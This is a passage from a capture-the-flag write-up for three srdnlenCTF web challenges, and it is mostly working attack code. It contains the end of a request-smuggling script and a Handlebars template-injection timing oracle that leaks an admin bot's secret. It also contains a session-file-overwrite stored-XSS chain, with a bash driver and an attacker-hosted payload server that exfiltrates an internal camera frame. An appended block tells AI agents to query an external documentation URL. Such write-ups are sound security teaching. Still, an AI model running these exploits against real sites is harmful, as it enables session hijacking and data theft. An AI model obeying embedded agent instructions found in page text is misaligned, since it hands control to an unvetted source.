range(args.login_attempts): if login_any(base, s, timeout=args.request_timeout): print("[+] Logged in") logged_in = True break time.sleep(args.round_delay) if not logged_in: # /api/chat/event is protected, but smuggling can still work if the first # request returns 401 and leaves appended bytes queued for keep-alive parse. print("[!] Login failed, continuing with no-auth smuggling mode") print("[*] Launching smuggling rounds...") i = 1 while True: if args.rounds > 0 and i > args.rounds: break flag = try_smuggle( base, s, timeout=args.request_timeout, consume_requests=args.consume_requests, consume_path=args.consume_path, ) if flag: print(f"[+] FLAG: {flag}") return 0 if i % 5 == 0: if args.rounds > 0: print(f"[*] Round {i}/{args.rounds} (no flag yet)") else: print(f"[*] Round {i} (no flag yet)") i += 1 time.sleep(args.round_delay) print("[-] No flag recovered in configured rounds") return 2 if __name__ == "__main__": sys.exit(main()) ``` ### TodoList #### Description The app is client-side only and uses Handlebars templates.\ The admin bot: 1. Visits the challenge page. 2. Stores `{"secret":""}` in app state and saves to cookie. 3. Visits attacker-controlled URL via `/report/`. Even without XSS, we can build a blind oracle against the bot by making template rendering intentionally expensive when a guessed condition is true. #### Solution The key primitive is: * Template condition checks secret characters via `lookup secret `. * If condition is true, render a heavy nested `#each` payload. * If false, render lightweight `ok`. When sent through `/report/`: * True branch causes fast bot failure (`500 {"error":"Admin failed..."}`). * False branch reaches the bot wait path and usually returns `504` around 60s. That gives a character-membership oracle. ```python #!/usr/bin/env python3 import json import re import time import urllib.parse import requests BASE_URL = "https://todolist.challs.srdnlen.it/" REPORT_URL = "https://todolist.challs.srdnlen.it/report/" HEAVY = ( "{{#each @root.arr}}" "{{#each @root.arr}}" "{{#each @root.arr}}" "{{#each @root.arr}}" "{{/each}}{{/each}}{{/each}}{{/each}}" ) ARR = list(range(140)) START_FLAG = "srdnlen{" CHARSET = list("abcdefghijklmnopqrstuvwxyz0123456789_}") def build_target_url(pos: int, subset: list[str]) -> str: template = f"{{{{#if (lookup @root.map (lookup secret {pos}))}}}}{HEAVY}{{{{else}}}}ok{{{{/if}}}}" data = {"arr": ARR, "map": {c: 1 for c in subset}} params = { "template": template, "data": json.dumps(data, separators=(",", ":")), } return BASE_URL + "?" + urllib.parse.urlencode(params) def oracle(pos: int, subset: list[str]) -> bool: target = build_target_url(pos, subset) while True: start = time.time() r = requests.post(REPORT_URL, data={"url": target}, timeout=130) elapsed = time.time() - start text = r.text if "Too many requests" in text: m = re.search(r"after (\\d+) seconds", text) time.sleep((int(m.group(1)) if m else 60) + 1) continue if r.status_code == 404 and "404 page not found" in text: time.sleep(5) continue # True branch (heavy): fast fail if "Admin failed to visit the URL." in text and elapsed < 45: return True # False branch: slow path/timeout if elapsed >= 50 or "504 Gateway Time-out" in text or "Admin successfully" in text: return False time.sleep(5) def recover_char(pos: int, charset: list[str]) -> str: cands = charset[:] while len(cands) > 1: mid = len(cands) // 2 left = cands[:mid] cands = left if oracle(pos, left) else cands[mid:] return cands[0] def main(): flag = START_FLAG pos = len(flag) while True: ch = recover_char(pos, CHARSET + ["}"]) # verify singleton if not oracle(pos, [ch]): # fallback if needed ch = recover_char(pos, list("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_}!-@#$%^&*()+=[]{}:;,.?/\\|~")) flag += ch print(flag, flush=True) if ch == "}": break pos += 1 if __name__ == "__main__": main() ``` ```python # one-shot probe for "is secret[pos] == ch?" tpl = f"{{{{#if (lookup @root.map (lookup secret {pos}))}}}}{HEAVY}{{{{else}}}}ok{{{{/if}}}}" data = {"arr": list(range(140)), "map": {ch: 1}} ``` This confirmed the final suffix and produced: `srdnlen{leakycstiggwp}` ### After Image #### Description A web challenge with three services behind `afterimage-nginx`: * PHP app (`index.php`, `profile.php`, `tokens.php`) * admin bot (Firefox) visiting attacker-supplied URLs via `/report` * internal camera at `CAMERA_IP` exposing MJPEG `/stream` with the real flag rendered on-frame Goal: get the bot to leak the camera frame. #### Solution 1. **Find initial primitive (source-based)** * `profile.php` accepts file uploads and writes them to `/tmp/`. * PHP session files are also in `/tmp` as `sess_`. * Uploading a file named `sess_` overwrites another session file. * `index.php` renders `$_SESSION['nickname']` unsafely -> stored XSS. 2. **Exploit chain** * Overwrite bot-target session with `nickname=" stage1_len="${#stage1_js}" stage1_file="payload_stage1_current.txt" printf 'nickname|s:%d:"%s";' "${stage1_len}" "${stage1_js}" > "${stage1_file}" echo "[*] token : ${tok}" echo "[*] stage1 url : ${stage1_url}" echo "[*] loot sid : ${loot_sid}" echo "[*] target sid : ${target_sid}" echo "[*] upload sid : ${uploader_sid}" upload_code="$(curl -sS -o /tmp/afterimage_upload_resp.txt -w '%{http_code}' \ -X POST "${BASE_URL}/profile.php?PHPSESSID=${uploader_sid}" \ -F "config_file=@${stage1_file};filename=sess_${target_sid};type=text/plain")" echo "[*] upload http: ${upload_code}" if [[ "${upload_code}" != "200" ]]; then echo "[!] upload response:" cat /tmp/afterimage_upload_resp.txt exit 1 fi tmp_report="/tmp/afterimage_report_${tok}.txt" curl -sS \ -X POST "${BASE_URL}/report" \ --data-urlencode "url=http://afterimage-nginx/index.php?PHPSESSID=${target_sid}" > "${tmp_report}" & report_pid=$! echo "[*] monitoring loot session while bot runs..." last_state="" last_err="" last_jpg="0" for i in $(seq 1 140); do tmp_html="/tmp/loot_live_${tok}.html" curl -s "${BASE_URL}/index.php?PHPSESSID=${loot_sid}" > "${tmp_html}" || true state="$(rg -o 'stage2_[^<]+' -m1 "${tmp_html}" || true)" err="$(rg -o 'Error:[^\"]+' -m1 "${tmp_html}" || true)" jpg_len="$(rg -o 'JPEG_BASE64:[A-Za-z0-9+/=]+' -m1 "${tmp_html}" | wc -c || true)" if [[ "${state}" != "${last_state}" || "${err}" != "${last_err}" || "${jpg_len}" != "${last_jpg}" ]]; then echo "[live ${i}s] state='${state}' err='${err}' jpeg_chars=${jpg_len}" last_state="${state}" last_err="${err}" last_jpg="${jpg_len}" fi if [[ "${jpg_len}" -gt 20 ]]; then echo "[*] JPEG marker detected in loot session." break fi sleep 1 done wait "${report_pid}" || true report_resp="$(cat "${tmp_report}")" echo "[*] report resp: ${report_resp}" echo "[*] check loot session with:" echo " curl -s '${BASE_URL}/index.php?PHPSESSID=${loot_sid}' | rg -o 'stage2_[^<]+'" echo " curl -s '${BASE_URL}/index.php?PHPSESSID=${loot_sid}' | rg -o 'JPEG_BASE64:[A-Za-z0-9+/=]+' -m 1" ``` **Stage server (`oneshot80.py`)** ```python #!/usr/bin/env python3 from http.server import BaseHTTPRequestHandler, HTTPServer import argparse import threading from pathlib import Path import urllib.parse def build_handler(payload: bytes, stage_path: str, probe_path: str, pre_path: str, die_path: str): p_shutdown = {"done": False} class H(BaseHTTPRequestHandler): def do_GET(self): path = urllib.parse.urlparse(self.path).path if path == probe_path: self.send_response(200) self.send_header('Content-Type', 'text/plain; charset=utf-8') self.send_header('Content-Length', '2') self.send_header('Access-Control-Allow-Origin', '*') self.send_header('Cache-Control', 'no-store') self.send_header('Connection', 'close') self.end_headers() self.wfile.write(b'ok') self.wfile.flush() return if path == die_path: self.send_response(200) self.send_header('Content-Type', 'text/plain; charset=utf-8') self.send_header('Content-Length', '3') self.send_header('Access-Control-Allow-Origin', '*') self.send_header('Cache-Control', 'no-store') self.send_header('Connection', 'close') self.end_headers() self.wfile.write(b'bye') self.wfile.flush() if not p_shutdown["done"]: p_shutdown["done"] = True threading.Thread(target=self.server.shutdown, daemon=True).start() return if path in (stage_path, pre_path): self.send_response(200) self.send_header('Content-Type', 'text/html; charset=utf-8') self.send_header('Content-Length', str(len(payload))) self.send_header('Cache-Control', 'no-store') self.send_header('Connection', 'close') self.end_headers() self.wfile.write(payload) self.wfile.flush() return else: self.send_response(404) self.send_header('Content-Type', 'text/plain; charset=utf-8') self.end_headers() self.wfile.write(b'not found') self.wfile.flush() return def log_message(self, fmt, *args): print(f"[{self.address_string()}] {fmt % args}") return H def main(): ap = argparse.ArgumentParser(description='Serve payload/probe on :80; exit after /die hit') ap.add_argument('--payload', default='payload.html', help='Path to payload html file') ap.add_argument('--path', default='/p', help='Stage path (default: /p)') ap.add_argument('--prepath', default='/r', help='Pre-stage path (default: /r)') ap.add_argument('--probepath', default='/probe', help='CORS probe path (default: /probe)') ap.add_argument('--diepath', default='/die', help='Shutdown trigger path (default: /die)') ap.add_argument('--bind', default='0.0.0.0', help='Bind address (default: 0.0.0.0)') ap.add_argument('--port', type=int, default=80, help='Port (default: 80)') args = ap.parse_args() payload_path = Path(args.payload) payload = payload_path.read_bytes() stage_path = args.path if args.path.startswith('/') else '/' + args.path probe_path = args.probepath if args.probepath.startswith('/') else '/' + args.probepath pre_path = args.prepath if args.prepath.startswith('/') else '/' + args.prepath die_path = args.diepath if args.diepath.startswith('/') else '/' + args.diepath httpd = HTTPServer((args.bind, args.port), build_handler(payload, stage_path, probe_path, pre_path, die_path)) print(f"[*] stage server listening on http://{args.bind}:{args.port}") print(f"[*] pre-stage path: {pre_path}") print(f"[*] stage path : {stage_path}") print(f"[*] probe path : {probe_path} (CORS 200)") print(f"[*] die path : {die_path} (shutdown trigger)") print(f"[*] payload bytes: {len(payload)} from {payload_path}") print('[*] will exit after first successful /die response') httpd.serve_forever() if __name__ == '__main__': main() ``` **Stage payload (`payload.html`)** ```html ``` **Frame extraction helper used** ```bash curl -s 'http://afterimage.challs.srdnlen.it/index.php?PHPSESSID=LOOT_SID_EXAMPLE' > /tmp/loot_success.html rg -o 'JPEG_BASE64:[A-Za-z0-9+/=]+' -m 1 /tmp/loot_success.html > /tmp/jpegb64_line.txt python3 - << 'PY' import base64,re s=open('/tmp/jpegb64_line.txt','r').read().strip() m=re.match(r'JPEG_BASE64:([A-Za-z0-9+/=]+)$',s) open('frame_success.jpg','wb').write(base64.b64decode(m.group(1))) print('wrote frame_success.jpg') PY ``` --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://ctf.krauq.com/srdnlenctf-2026.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.